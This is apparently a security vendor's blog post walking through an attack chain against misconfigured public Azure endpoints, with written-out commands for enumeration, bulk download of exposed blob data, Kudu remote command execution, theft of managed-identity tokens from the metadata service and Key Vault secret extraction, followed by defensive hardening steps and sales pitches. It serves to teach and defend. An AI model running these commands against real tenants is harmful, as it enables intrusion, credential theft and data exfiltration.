Abusing Azure Public Endpoints for Initial Foothold

Azure's vast cloud ecosystem has become the backbone of enterprise infrastructure worldwide. With that scale comes a sprawling attack surface, and one of the most underestimated entry points for adversaries is the exposure of misconfigured or unnecessarily public Azure endpoints. From Blob Storage to Azure Functions and App Services, publicly accessible endpoints are consistently among the top vectors used during red team engagements to establish an initial foothold before moving laterally through a target environment.

This post breaks down the exact techniques attackers use, the commands that make enumeration and exploitation possible, and what your security posture should look like to stop them.

Why Azure Public Endpoints Are a Prime Target

Azure provides a wide range of services, many of which expose public endpoints by default or when misconfigured. These include Azure Blob Storage, Azure App Services, Azure Functions, Azure SQL, Azure Container Registry, Azure API Management, and Azure Kubernetes Service (AKS) API servers.

The problem is not Azure itself. The problem is that developers and DevOps teams often prioritize speed over security hygiene, leaving storage containers open to anonymous access, exposing management APIs without IP restrictions, or committing connection strings with SAS tokens to public repositories.

From an attacker's perspective, these misconfigurations are low-hanging fruit that require no sophisticated exploit, just reconnaissance and patience.

Phase 1: Passive Reconnaissance of Azure Endpoints

Before touching a target environment directly, skilled attackers conduct passive recon to map out the Azure footprint of an organization.

Enumerating Azure Subdomains and Services

Azure services follow predictable naming conventions. Storage accounts resolve to <name>.blob.core.windows.net, App Services to <name>.azurewebsites.net, and Functions to <name>.azurewebsites.net or <name>.azurefunctions.net. Attackers abuse this to brute-force or enumerate valid tenant assets.

Using tools like MicroBurst (a purpose-built Azure recon toolkit):

Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose


[cta]

This command iterates across all known Azure service suffixes to identify live endpoints associated with the target organization.

Alternatively, using dnsrecon or simple wordlist-based enumeration:

gobuster dns -d azurewebsites.net -w /usr/share/wordlists/subdomains.txt \
 --wildcard -t 50


[cta]

Searching Public Repositories for Leaked Credentials

GitHub and other code repositories frequently contain hardcoded SAS tokens, storage account keys, and service principal credentials. Attackers run queries using tools like truffleHog or gitleaks:

trufflehog github --org=targetcompany --token=<github_pat> \
 --only-verified
gitleaks detect --source . --report-format json \
 --report-path leak-report.json


[cta]

A single exposed SAS token or storage key is often enough to move from zero access to full read/write on a storage container holding sensitive data or deployment artifacts.

If your organization's cloud assets have never been tested for exposed endpoints or leaked credentials, this is the right moment to get a professional assessment. Redfox Cybersecurity's penetration testing services include cloud-focused red team engagements that simulate exactly these attack scenarios.

Phase 2: Exploiting Misconfigured Azure Blob Storage

Public Blob Storage containers remain one of the most commonly found misconfigurations during cloud pentests. Containers set to "Blob" or "Container" anonymous access levels can be browsed and downloaded from without any authentication.

Checking for Anonymous Access

Using the Azure CLI or a simple HTTP request:

az storage container list \
 --account-name targetstorageaccount \
 --auth-mode login


[cta]

Or, testing anonymously:

curl -s "https://targetstorageaccount.blob.core.windows.net/\
?restype=container&comp=list" | xmllint --format -


[cta]

If this returns an XML listing of blobs without any credentials, the container is open to the world.

Downloading Sensitive Data

Once a public container is identified, attackers can use azcopy to exfiltrate data at scale:

azcopy copy \
 "https://targetstorageaccount.blob.core.windows.net/backups/*" \
 "/tmp/loot/" \
 --recursive=true


[cta]

Backup folders are a goldmine. They frequently contain SQL dumps, configuration files, environment variable files, and internal documentation.

Leveraging SAS Tokens Found During Recon

If a SAS token was found in a public repo, it can be used directly:

azcopy copy \
 "https://targetstorageaccount.blob.core.windows.net/deploy/config.zip\
?sv=2021-01-01&ss=b&srt=sco&sp=rwdlacuptfx&se=2025-12-31&st=2024-01-01\
&spr=https&sig=<token>" \
 "/tmp/config.zip"


[cta]

These tokens sometimes grant write access, enabling an attacker to plant web shells or malicious scripts in storage accounts that serve as CDN origins or deployment sources.

Phase 3: Attacking Azure App Services and Functions

Azure App Services and Functions are frequently exposed to the internet with minimal authentication controls. Default configurations sometimes leave Kudu (the deployment and management console) accessible, SCM endpoints unauthenticated, or diagnostic endpoints enabled.

Probing the Kudu SCM Endpoint

The Kudu endpoint (https://<appname>.scm.azurewebsites.net) provides remote execution capabilities, file system access, and log streaming. If Basic Auth is enabled and default credentials have not been rotated, or if the SCM endpoint is not IP-restricted:

curl -u "targetapp\$targetapp:<deployment-password>" \
 "https://targetapp.scm.azurewebsites.net/api/command" \
 -H "Content-Type: application/json" \
 -d '{"command":"whoami","dir":"D:\\home"}'


[cta]

This returns the identity under which the App Service is running, which in many cases is a Managed Identity with assigned Azure roles.

Enumerating Exposed Azure Functions

Azure Functions without function-level authentication keys or host-level keys are exposed to anonymous HTTP requests. Attackers scan for these using tools like ffuf:

ffuf -u "https://targetapp.azurewebsites.net/api/FUZZ" \
 -w /usr/share/wordlists/api-endpoints.txt \
 -mc 200,301,302 -t 50


[cta]

Once a function is identified, probing it with crafted payloads can reveal SSRF vulnerabilities, injection points, or logic flaws that allow privilege escalation.

Is your Azure environment exposed to these attack patterns? The team at Redfox Cybersecurity specializes in cloud penetration testing and can identify these vulnerabilities before adversaries do.

Phase 4: Abusing Azure Managed Identities Post-Foothold

Once initial access is achieved through a public endpoint, the next objective is privilege escalation. Azure Managed Identities are a common escalation path because developers often over-privilege them for convenience.

Accessing the Instance Metadata Service (IMDS)

From within a compromised App Service, Function, or VM, attackers query IMDS to retrieve access tokens:

curl -s -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&resource=https://management.azure.com/" \
 | python3 -m json.tool


[cta]

The returned token can then be used against the Azure Resource Manager API:

curl -s -H "Authorization: Bearer <access_token>" \
 "https://management.azure.com/subscriptions?api-version=2020-01-01" \
 | python3 -m json.tool


[cta]

Enumerating Permissions of the Managed Identity

Using the token retrieved from IMDS, attackers enumerate what roles have been assigned:

curl -s -H "Authorization: Bearer <access_token>" \
 "https://management.azure.com/subscriptions/<sub_id>/providers/\
Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
 | python3 -m json.tool


[cta]

A Managed Identity with Contributor or Owner role at the subscription level is essentially a skeleton key. From here, attackers can create new service principals, assign roles, access Key Vaults, and pivot across every resource in the subscription.

Phase 5: Azure Key Vault and Secret Exfiltration

If the Managed Identity has Key Vault access, the entire secrets store becomes accessible. Connection strings, API keys, certificate private keys, and third-party service credentials are all exposed.

curl -s -H "Authorization: Bearer <keyvault_token>" \
 "https://targetvault.vault.azure.net/secrets?api-version=7.3" \
 | python3 -m json.tool


[cta]

Extracting a specific secret:

curl -s -H "Authorization: Bearer <keyvault_token>" \
 "https://targetvault.vault.azure.net/secrets/DatabasePassword/\
?api-version=7.3" | python3 -m json.tool


[cta]

This single technique has been responsible for complete environment compromises in real-world engagements, where database credentials stored in Key Vault granted access to production data spanning millions of records.

Real-World Attack Chain Summary

To tie it together, a realistic attack chain looks like this:

Step 1: Passive recon discovers targetcompany.blob.core.windows.net via subdomain enumeration.

Step 2: Anonymous access check confirms a public container named deployments with configuration files and a .env file containing a storage account connection string.

Step 3: The connection string is used to authenticate to another storage account containing application build artifacts with embedded database credentials.

Step 4: A separate truffleHog scan of GitHub finds an old commit with an Azure App Service publish profile.

Step 5: The publish profile grants access to the Kudu console, where IMDS is queried and a Managed Identity token is retrieved.

Step 6: The Managed Identity has Contributor access to the subscription. A new service principal with Owner rights is created, completing full compromise of the Azure tenant.

This chain involves no zero-days, no advanced malware, and no sophisticated tradecraft. It is entirely built on misconfigurations and exposed endpoints that are present in many Azure environments today.

Defensive Recommendations

Enforce Private Endpoints Across All Services

Azure Private Endpoints allow services like Blob Storage, SQL, Key Vault, and App Services to be accessed only through a private IP within a VNet. Disabling public network access should be the default posture, not an afterthought.

az storage account update \
 --name targetstorageaccount \
 --resource-group myResourceGroup \
 --public-network-access Disabled


[cta]

Apply the Principle of Least Privilege to Managed Identities

Managed Identities should have only the permissions required for their specific function. Regularly audit role assignments using:

az role assignment list --all --output table


[cta]

Enable Azure Defender and Microsoft Defender for Cloud

These tools provide anomaly detection for IMDS queries, unusual storage access, and suspicious API calls that may indicate active exploitation.

Rotate and Audit SAS Tokens Regularly

SAS tokens with long expiry windows and broad permissions are ticking time bombs. Enforce short-lived tokens and monitor for tokens appearing in public code repositories using automated secret scanning integrated into your CI/CD pipeline.

Restrict SCM and Kudu Access

Disable Basic Authentication for App Service deployment credentials and restrict SCM endpoints using IP-based access controls:

az webapp config access-restriction add \
 --resource-group myResourceGroup \
 --name myapp \
 --rule-name AllowCorporateIP \
 --action Allow \
 --ip-address <corporate_ip>/32 \
 --priority 100 \
 --scm-site true


[cta]

Closing Thoughts

Azure public endpoints represent one of the most accessible attack surfaces in modern enterprise environments. The gap between a developer pushing a storage container public for convenience and a full tenant compromise can be measured in hours when an experienced attacker is on the other end.

The techniques covered here are well within the toolkit of any competent red teamer, and they are being used in the wild. Understanding how these attacks unfold is the first step toward building defenses that actually hold.

If you want to know how exposed your Azure environment is right now, Redfox Cybersecurity offers comprehensive cloud penetration testing, red team engagements, and Azure security assessments. Our team maps your attack surface the way an adversary would, so you can fix what matters before it becomes a breach.

Engage Redfox Cybersecurity for a cloud pentest today and get a clear picture of your Azure risk posture.